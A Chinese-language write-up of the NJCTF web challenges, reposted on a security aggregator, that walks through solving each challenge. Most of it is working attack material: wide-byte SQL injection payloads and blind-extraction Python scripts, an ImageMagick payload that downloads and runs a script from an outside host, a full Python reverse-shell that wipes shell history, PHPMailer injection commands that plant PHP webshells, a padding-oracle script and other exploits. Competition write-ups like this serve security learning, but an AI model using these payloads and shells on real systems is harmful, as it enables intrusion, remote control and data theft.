Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

NJCTF Web题解

0
0
注册的时候,用户名可以用空格截断注册一个admin [很多空格]12345 ,密码aasdewdwqff然后,登陆admin ,密码aasdewdwqff 就能拿到admin权限,这里是绕过varchar的限制

可以参考这篇文章: http://www.CodeSec.Net/articles/web/124537.html 注:必须是sql_mode为宽松模式时

Come on

这题比赛期间没做出来。

能做到的信息是 宽字节注入。

%df%27 返回Could not get data.

然后,过滤了很多很多敏感字(/ 、 /、and、or、mid、substr、union、>、<、空白符、ascii),一直没找到能运行的payload进行攻击。

比赛完,问了别人,才想到其实可以使用binary类型转换,进行攻击

首先,用 || 替换or,再利用right left定位,空格可以用%0b 就是()

http://218.2.197.235:23733/index.php?key=-1%df%27||left((select(flag)from(flag)),1)=0x4e%23

这里,有几个注意的点:

单引号被转移,需要用16进制 mysql不区分大小写,所以对于16进制,要么二重16进制,要么使用binary函数

二重16进制:

GET /index.php?key=-1%df%27||left((select(hex(flag))from(flag)),2)=0x34§34§%23=>>45

binary函数:

GET /index.php?key=-1%df%27||left((select(flag)from(flag)),1)=binary(0x§34§)%23

like函数

/index.php?key=-1%df%27||(select(binary(flag))from(flag))like(0x§4e§25)%23

选择用like 绕过。单引号被转义了用16进制绕过,但是有几个坑:mysql默认不区分大小写,在select的时候加上binary;_在like语句中需要转义。

还一种利用like的payload:

select * from foo where code like '%%fd'||1.having(select(1)from(select(flag)from(flag)where(flag)like(binary(0x4e4a4354467b354830575f4d335f53304d335f735131695f547249436b357d25)))x)#%'

写了几个payload:

#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string url = "http://218.2.197.235:23733/index.php?key=" payload = "-1%df%27||left((select(hex(flag))from(flag)),{pos})=0x{c}%23" req = requests.Session() str = string.printable char ='' flag = '' end =0 for i in xrange(1,81): for s in str: char = (flag+s).encode('hex') endurl = (url+payload).format(pos = i,c = char) # print endurl r = req.get(endurl) #print r.text if len(r.text)>1000: flag +=s print flag break if s ==str[-1]:#搜索一圈都没搜到 print "we get all!" end =1 break if(end): break print flag.decode('hex') #!usr/bin/env python #-*- coding:utf-8 -*- import requests url = "http://218.2.197.235:23733/index.php?key=" payload = "-1%df%27||left((select(hex(flag))from(flag)),{pos})=0x{c}%23" req = requests.session() flag ='' for i in xrange(1,100): for h in xrange(0x00,0xff+1): endurl = (url+payload).format(pos = i,c =flag+hex(h)[2:]) #print endurl r = req.get(endurl) if len(r.text)>1000: flag +=hex(h)[2:] print flag break print flag.decode('hex').decode('hex') #!/usr/bin/env python #-*- coding:utf-8 -*- import requests import string url = 'http://218.2.197.235:23733/index.php?key=' payload ='%df%27||right(left((select(flag)from(flag)),{pos}),1)=binary(0x{c})%23' req =requests.session() def get_flag(): flag = "" str = string.printable for i in xrange(1,50): for char in str: endurl = (url+payload).format(pos=i,c=char.encode('hex')) r = req.get(endurl) #print endurl if(char=='}'): flag+=char print "we get all flag!" print flag print 'test' exit() if(len(r.text)>1000): flag+=char print flag break get_flag() #!/usr/bin/env python # -*- coding: utf-8 -*- import string import requests req = requests.session() url = "http://218.2.197.235:23733/index.php?key=" payload = "-1%df%27||(select(binary(flag))from(flag))like(0x{}25)%23" str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%' def get_flag(): flag='' for i in xrange(1,99): for c in str: char = (flag+c).encode('hex') endurl = (url+payload).format(char) #print endurl r = req.get(endurl) if(len(r.text)>1000): flag +=c print flag break get_flag() Be Logical

这道题应该是这次比赛出的最好的一题,很有意思。可惜比赛的时候,没咋做它。

主要过程就是:逻辑漏洞->ImageMagick->PHPMailer

第一步存在两个可走的点:

是后台在refund的操作中,用了intval函数,比较point与mony是否相等,来确认数据没有被篡改。但是,我们可以通过科学计数法绕过。intval(1e3)=intval(1)。这样就能购买服务了。 本题也可以获取.Sign.php.swp文件,能够发现签名算法存在缺陷,可以爆破secret_key长度并使用哈希长度扩展攻击伪造签名来进行刷钱

接下来就进入到第二步,这里有 convert 图片的功能,基本可以确定其存在一个ImageMagick的漏洞

这里参考两篇博客:

http://www.s0nnet.com/archives/imagetragick

https://www.waitalone.cn/imagemagick-poc.html

写一个image.png

push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|wget http://106.14.61.185/files/imageMagic.py -O /tmp/imageMagic.py && python /tmp/imageMagic.py 106.14.61.185 12315")' pop graphic-context

然后,把脚本部署到我们的服务器上

http://106.14.61.185/files/imageMagic.py

# -*- coding:utf-8 -*- #!/usr/bin/env python """ back connect py version,only linux have pty module code by google security team """ import sys,os,socket,pty shell = "/bin/sh" def usage(name): print 'python reverse connector' print 'usage: %s <ip_addr> <port>' % name def main(): if len(sys.argv) !=3: usage(sys.argv[0]) sys.exit() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((sys.argv[1],int(sys.argv[2]))) print 'connect ok' except: print 'connect faild' sys.exit() os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE",'/dev/null') os.putenv("HISTSIZE",'0') os.putenv("HISTFILESIZE",'0') pty.spawn(shell) s.close() if __name__ == '__main__': main()

服务器监听一下 nc -l - 12315

上传png文件,它会自动调用convert,然后就能反弹shell


NJCTF Web题解

翻一下,还是没有找到flag。自然接下来就应该是内网渗透了。

这里有一个小技巧,使用arp -nv可以快速探测内网(当然你也可以使用curl来获得远程的一个py扫描脚本,然后扫描)

arp -nv arp -nv Address HWtype HWaddress Flags Mask Iface 172.17.42.1 ether 72:1d:76:57:41:32 C eth0 172.26.0.20 ether 72:1d:76:57:41:32 C eth0 172.17.0.1 ether 02:42:ac:11:00:01 C eth0 172.17.0.19 ether 02:42:ac:11:00:13 C eth0 Entries: 4 Skipped: 0 Found: 4

都测试一下。

可以看到在172.17.0.19存活一个Mail SYSTEM


NJCTF Web题解

搜一波,学习一下

https://blog.chaitin.cn/phpmailer-cve-2016-10033/

这里的根目录没办法写,存在uploads目录,但是uploads目录下一句话没办法执行(貌似是因为;的原因,可以传入 <?php system($_GET[test]);?> 这种格式去绕过),所以可以直接用system curl http://172.17.0.19 -d "subject=<?php system('ls ./');?>&email=aaa( -X /var/www/html/uploads/xiaoxi1.php )@qq.com&message=<?php echo moxiaoxi;?>&submit=Send email" curl http://172.17.0.19/uploads/xiaoxi1.php curl http://172.17.0.19 -d "subject=<?php system('ls ../');?>&email=aaa( -X /var/www/html/uploads/xiaoxi2.php )@qq.com&message=<?php echo moxiaoxi;?>&submit=Send email" curl http://172.17.0.19/uploads/xiaoxi2.php curl http://172.17.0.19 -d "subject=<?php system('cat ../flaaaaaaag.php');?>&email=aaa( -X /var/www/html/uploads/xiaoxi3.php )@qq.com&message=<?php echo moxiaoxi;?>&submit=Send email" curl http://172.17.0.19/uploads/xiaoxi3.php

得到flag


NJCTF Web题解
Guess

这种url很容易就能想到可能是文件包含或者伪协议读取

http://218.2.197.235:23735/index.php?page=php://filter/read=convert.base64-encode/resource=upload

读源码

<?php error_reporting(0); function show_error_message($message) { die("<div class=\"msg error\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>"); } function show_message($message) { echo("<div class=\"msg success\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>"); } function random_str($length = "32") { $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ''; for ($i = 1; $i <= $length; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } return $str; } session_start(); $reg='/gif|jpg|jpeg|png/'; if (isset($_POST['submit'])) { $seed = rand(0,999999999); mt_srand($seed); $ss = mt_rand(); $hash = md5(session_id() . $ss); setcookie('SESSI0N', $hash, time() + 3600); if ($_FILES["file"]["error"] > 0) { show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]); } $check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif") || ($_FILES["file-upload-field"]["type"] == "image/jpeg") || ($_FILES["file-upload-field"]["type"] == "image/pjpeg") || ($_FILES["file-upload-field"]["type"] == "image/png")) && ($_FILES["file-upload-field"]["size"] < 204800)); $check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION)); if ($check2) show_error_message("Nope!"); if ($check1) { $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name']; if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) { show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]); } else show_error_message("Something wrong with the upload..."); } else { show_error_message("only allow gif/jpeg/png files smaller than 200kb!"); } } ?>

脸黑,比赛的时候脚本没跑完:cry:

这题的思路,和以前做的一个题思路很像。

先伪协议读源码,然后上传一个php压缩包(改名为png),再伪协议(zip或phar)读取马,得到shell。这次的主要问题在于,题目把路径加了一个前缀,需要爆破随机数种子才能利用。

爆破随机数种子(session_id为我们的 PHPSESSID,hash为SESSI0N)

记得在文件头设置一下运行时间无限ini_set(‘max_execution_time’, ‘0’);

for($i=0;$i<=999999999;$i++){ $seed =$i; mt_srand($seed); $ss = mt_rand(); $session_id="kfm3fk6doepaefpaa9al32h8j7"; $hash1 = md5($session_id. $ss); $hash2 = "72a6022fd34bf1980ea8d20aafa3bd2a"; if($hash1===$hash2){ echo "we get seed:".$i; break; } if($i==999999999){ echo "run down!we can't get it!"; break; } } echo './uP1O4Ds/' . random_str() . '_';

运行结果:


NJCTF Web题解

http://218.2.197.235:23735//index.php?page=zip://uP1O4Ds/hz3CZpGyYKnjH51V6fVYvCmpGXrIzeWm_test.png%23test

再请求一下即可


NJCTF Web题解

连接一下,看一波


NJCTF Web题解

这里有一个小技巧,可以迅速爆破mt_seed: http://www.openwall.com/php_mt_seed/

Wallet

扫一波目录,能得到一个www.zip的文件。

(弱密码永远跑不出来orz。。。后来,别人给了个弱密码njctf2017)

然后,代码有混淆,随便找个网站解开混淆

<?php require_once("db.php"); $auth = 0; if (isset($_COOKIE["auth"])) { $auth = $_COOKIE["auth"]; $hsh = $_COOKIE["hsh"]; if ($auth == $hsh) { $auth=0; }else if (sha1((string)$hsh) == md5((string)$auth)) { $auth = 1; }else{ $auth=0; } }else { $auth = 0; $s = $auth; setcookie("auth", $s); setcookie("hsh", sha1((string)$s)); } if ($auth) { if (isset($_GET['query'])) { $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY); $qstr = SQLITE3::escapeString($_GET['query']); $query = "SELECT amount FROM my_wallets WHERE id=$qstr"; -1 union select flag from flag %23 $result = $db->querySingle($query); if ( !$result === NULL){ echo "Error - invalid query"; } else { echo "Wallet contains: $result"; } } else { echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>"; } } else echo "Sorry, not authorized."; ?>

一开始就是很典型的弱类型绕过,sha1==md5

弱类型

<?php var_dump(md5('240610708') == md5('QNKCDZO')); var_dump(md5('aabg7XSs') == md5('aabC9RqS')); var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m')); var_dump('0010e2' == '1e3'); var_dump('0x1234Ab' == '1193131'); var_dump('0xABCdef' == ' 0xABCdef'); var_dump(0 == 'abcdefg'); var_dump(1 == '1abcdef'); ?>

md5 :240610708,QNKCDZO,aabg7XSs,aabC9RqS

Sha1:aaroZmOk ,aaK1STfY,aaO8zKZF,aa3OFF9m

后面,就是query处存在注入(这里的难点在于只能知道有flag表。。要猜id)

最后的payload

GET /admin.php?query=-11+and+1=2+union+select+id+from+flag+--+ HTTP/1.1 Host: 218.2.197.235:23723 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: piclist=a%3A6%3A%7Bi%3A0%3Bs%3A44%3A%22upload%2Ff7363981c96e54e1f2d8a66aa5cca157.jpeg%22%3Bi%3A1%3Bs%3A44%3A%22upload%2F620eb40635025e52a20ffdffa20298fc.jpeg%22%3Bi%3A2%3Bs%3A44%3A%22upload%2F77af6d66ab71143e5adf91a4dafe3719.jpeg%22%3Bi%3A3%3Bs%3A42%3A%22upload%2F2bc5ef7c4ded2aae2987bfb71a7a700f.js%22%3Bi%3A4%3Bs%3A46%3A%22upload%2F3608dcbf9c8c241b3b8e757353c34f3c.p%2500hp%22%3Bi%3A5%3Bs%3A46%3A%22upload%2Ff954062fc88b8a7524c79d95ae2a7b4c.php%2500%22%3B%7D; auth=QNKCDZO; hsh=aaroZmOk DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Be admin

存在index.php.bak

后面有时间再来复现

主要考点:源码审计 CBC比特反转 Padding-Oracle

可以算是比较综合的Web密码学题了

具体思路:

存在bak源码泄露以提供白盒,使用sqli控制查询语句的返回值,从而可以控制被传递进login函数的参数,由于php==运算符的安全问题,登陆验证函数可以被作为Oracle来使用,从而可以编写脚本,在没有密钥的情况下,通过padding oracle解出明文,再通过异或构造iv,从而在密文不变的情况下使解密后的结果变为admin,进而获取flag

index.php.bak源码泄漏,看源码知道可进行CBC的Padding Oracle和字节翻转攻击。

下面的脚本是直接贴的别人的

进行Padding Oracle攻击的脚本:

python import requests import base64 url = 'http://218.2.197.235:23737/index.php' N = 16 l = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] token = '' out = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] for i in range(1,17): for c in range(0,256): print c l[N-i] = c token = '' for m in l: token = token + chr(m) token = base64.b64encode(token) header = {'Cookie':"PHPSESSID=oot8oracn7o49ibrriscjikal4;ID=yudfxWJ2ptjjo8NLxaLeZQ%3D%3D;token="+token} res = requests.get(url, headers=header) data = res.content print data if 'ERROR' not in data: out[N-i] = c ^ i for y in range(i): l[N-y-1] = out[N-y-1] ^ (i+1) break print out

可以将defaultId的明文读取出来为OrDinaryU5eR,接下来就是进行字节翻转攻击使得解密为admin就可以拿到flag。进行字节翻转攻击的脚本:

php <?php $c = base64_decode("ndncqTzQYbXSIiXc4Gc0OA=="); $s = "OrDinaryU5eR"; $tmp = $c; $tmp[0] = chr(ord($s[0]) ^ ord($tmp[0]) ^ ord('a')); $tmp[1] = chr(ord($s[1]) ^ ord($tmp[1]) ^ ord('d')); $tmp[2] = chr(ord($s[2]) ^ ord($tmp[2]) ^ ord('m')); $tmp[3] = chr(ord($s[3]) ^ ord($tmp[3]) ^ ord('i')); $tmp[4] = chr(ord($s[4]) ^ ord($tmp[4]) ^ ord('n')); $tmp[5] = chr(ord($s[5]) ^ ord($tmp[5]) ^ 11); $tmp[6] = chr(ord($s[6]) ^ ord($tmp[6]) ^ 11); $tmp[7] = chr(ord($s[7]) ^ ord($tmp[7]) ^ 11); $tmp[8] = chr(ord($s[8]) ^ ord($tmp[8]) ^ 11); $tmp[9] = chr(ord($s[9]) ^ ord($tmp[9]) ^ 11); $tmp[10] = chr(ord($s[10]) ^ ord($tmp[10]) ^ 11); $tmp[11] = chr(ord($s[11]) ^ ord($tmp[11]) ^ 11); $tmp[12] = chr(4 ^ ord($tmp[12]) ^ 11); $tmp[13] = chr(4 ^ ord($tmp[13]) ^ 11); $tmp[14] = chr(4 ^ ord($tmp[14]) ^ 11); $tmp[15] = chr(4 ^ ord($tmp[15]) ^ 11); print base64_encode($tmp); ?>

将得到的IV放到cookie中的token,访问得到flag。

Get Flag

很典型的一个命令截断(&也可以)

%0a截断 导致命令执行

flag=%0a+ls+../../&amp;submit=

解码base64,会有一个

cat: images/: Is a directory 9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag

读取一下

flag=%0a+cat+../../9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag&submit=

得到flag

pictures’ wall

很奇怪的题目- -

登录框无论输入啥都能登陆,系统提示需要管理员权限..怀疑不是用户名密码验证,尝试http方面的绕过

脑洞一波。。host:127.0.0.1 绕过登陆,得到root权限

root有一个上传图片界面。。迷之绕过(fuzz一波,可以看到phtml可以上去。然后题目貌似过滤了?)

<script language="php"> @eval($_POST[xiaoxi])</script>

上传一个图片马,改后缀phtml

不过,这个题目确实非常奇怪。。

看了下源码:

<?php $content=file_get_contents($_FILES["pic"]["tmp_name"]); if($filearr === "phtml"){ if(preg_match("/.*<\?php.*/",$content)){ die("Something shows it is a php file!"); } if (!preg_match("/.*<script language=('|\")php('|\")>.*/",$content)) { die("Do you want to upload a php file?!"); } }

感觉正常开发环境中不会出现:joy:

Text wall

在页面里存在.index.php.swo

显然,我们要调用__toString函数去highlight_file我们想看到的数据。

这里用到了一个小技巧,php中数组里面有一个对象,它会期望那个对象为string类型。所以,如果对象是一个序列化就会自动调用__toString

所以,我们可以这样构造

$lists = []; Class filelist{ function __construct($var){ $this->source = $var; } public function __toString() { return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true); } } $file = new filelist('index.php'); $lists = array($file); #var_dump(serialize($file)); var_dump(serialize($lists));

然后,对其sha1 补充到前面,后面url编码一下,放到cookie里面

f3a6de2497f71356a3995e26a1f4f64ae48e80b1%61%3a%31%3a%7b%69%3a%30%3b%4f%3a%38%3a%22%66%69%6c%65%6c%69%73%74%22%3a%31%3a%7b%73%3a%36%3a%22%73%6f%75%72%63%65%22%3b%73%3a%39%3a%22%69%6e%64%65%78%2e%70%68%70%22%3b%7d%7d

这样就能看到index.php的源码


NJCTF Web题解

/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g同样序列化读取一下就好

PS: 据说可以找到原题: https://losfuzzys.github.io/writeup/2016/10/02/tumctf-web50/

Blog

ruby的代码审计 不大会

Tips:ruby审计思路,i可以首先看route 然后找逻辑。对应着页面找到实现代码

看了下别人的WP

主要问题在于,table users在定义的时候,有一列标志其是否为admin,默认为false

create_table "users", force: true do |t| t.string "name" t.string "email" t.datetime "created_at" t.datetime "updated_at" t.string "password_digest" t.string "remember_token" t.boolean "admin", default: false end 而在注册界面的注册函数中,它其实多传了一个admin的参数。只是在实际界面不存在,我们构造一个user[admin]=1即可(这个格式参照其他参数的构造方式) private def user_params params.require(:user).permit(:name, :email, :password, :password_confirmation, :admin) end

构造一个请求包

POST /users HTTP/1.1 Host: 218.2.197.235:23727 Content-Length: 301 Cache-Control: max-age=0 Origin: http://218.2.197.235:23727 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://218.2.197.235:23727/users Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Cookie: session=eyJhZG1pbiI6Im5vIn0=; session.sig=Uw-lgOYJjpIZLRIXs4H8tv2EK_0; PHPSESSID=kfm3fk6doepaefpaa9al32h8j7; piclist=a%3A2%3A%7Bi%3A0%3Bs%3A43%3A%22upload%2F693a17c7426e064e37c184879f4e4107.png%22%3Bi%3A1%3Bs%3A45%3A%22upload%2F773f33a925049e4906690514266b89cf.phtml%22%3B%7D; _sample_app_session=ZEFvNW5hTzI2aFVSNzNjN05Lc0JISGlFRU04aGE1M3lCL0pyM0xCUkNoWnE4S1VJMGNuUlpOMXl0OXR0aFlMUUlNbGN6ODU1NUxhN21VeU9wbHRyTFNaRHg4STRiZHR4NkRaMzEzalZGSkNKMEZOdjZPRVJ5cklGSEN3OWUxUTByVEVYdUNKQlMxcHJLNHpTZEd5NDd3bUNSSk1kbEFUc2V2aEQramZuSWQ1RUhsNHJxZTZ0bWZiUmdmWjZiSVpuLS1uTG9CM0lBVk1vdzdvM2prL21oUHRnPT0%3D--5607ac4adcab4b1014ea69518f5c5afd8aec911a Connection: close utf8=%E2%9C%93&authenticity_token=%2FPQd%2BsT%2B1KX0%2B2vr%2Bqd5ME5G%2B2abPv4x6I3na8FG%2Bcd6QifrU0%2FBEknXMxJIRgvfIzens6iPmAhurvD0foPq9w%3D%3D&user%5Bname%5D=moxiaoxi12345&user%5Bemail%5D=moxiaoxi%40qq11.com&user%5Bpassword%5D=moxiaoxi&user%5Bpassword_confirmation%5D=moxiaoxi&user%5Badmin%5D=1&commit=Create+my+account CHaII

能搜到一篇非常相似的博客

http://smrrd.de/nodejs-hacking-challenge-writeup.html

这道题,有一个非常脑洞的地方,就是必须输入md5出来全是数字的md5才能触发内存泄漏。。。。

非常神奇orz 原题就没这么脑洞。。

List of few first strings that give only-digit md5 hash:

ximaz : 61529519452809720693702583126814 aalbke : 55203129974456751211900188750366 afnnsd : 49716523209578759475317816476053 aooalg : 68619150135523129199070648991237 bzbkme : 69805916917525281143075153085385

Here’s one with only letters:

cbaabcdljdac : cadbfdfecdcdcdacdbbbfadbcccefabd

输入md5后,全为数字的数据后,会回显数据。

内存泄漏

写一个1.sh

while ((1));do curl http://218.2.197.235:23729/login --data '{"password":"afnnsd"}' -H "Content-Type: application/json" -i done

可以看到很明显的内存泄漏

可以找到数据

./1.sh| hexdump -C &gt;1.txt

NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver}

然后到github上下载源码,在本地跑一下。

https://github.com/0lddriver/app

将config.js中的数据改一下

var config = {}; config.secret_password = "" config.session_keys = ["NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver}"] module.exports = config;

然后,修改app.js中的no为yes

app.use(function(req, res, next) { if(req.session.admin === undefined) { req.session.admin = 'yes'; } next(); });

这样就能得到{“admin”:”yes”}的签名

session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo

然后去请求一下admin

GET /admin HTTP/1.1 Host: 218.2.197.235:23729 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 If-None-Match: W/"471-PF7BbTeX0i15/QjaTjk5Ww"

就能回显到数据

TkpDVEZ7TjBkNUpT5piv5LiW55WM5LiK5pyA5aW955qE6K+t6KiA77yM5a+55ZCX77yffQ==

解码一下就是flag(中文)

其它

额外做了一个题 也记录下

knock

查看长度,莫斯密码解密失败

然后,查看了一下长度

发现knock长度145 text118

其中,knock中_ 有27 .有118个

猜测_是分隔符

#!/usr/bin/env python #!-*- coding:utf-8 -*- def readfile(filename): with open(filename,"r") as fp: content=fp.read() return content knock = readfile("knock.txt") text = readfile("text.txt") # print len(knock),len(text) # print knock.count('_') # print knock.count('.') # print knock # print text test = '' indexpre=0 i=0 while(knock.find('_')!=-1): index = knock.find('_') knock = knock.replace('_','-',1) text =text[:index]+' '+text[index:] indexpre=index print text

zjqz hexjz mo oqrs sai daiyn lebn zjo vos ltah zjer horrqxo e iron lobdo za voou zjo vos qfqs ltah mqn qrr joto er zjo horrqxo ebooqydrztyqqojolx

然后,词频分析一下

that might be easy you could find the key from this message i used fence to keep the key away from bad ass here is the message ineealcstrlaaehefg

提示是栅栏密码

ineeal cstrla aehefg

6位栅栏

icanseetheflag


Viewing all articles
Browse latest Browse all 12749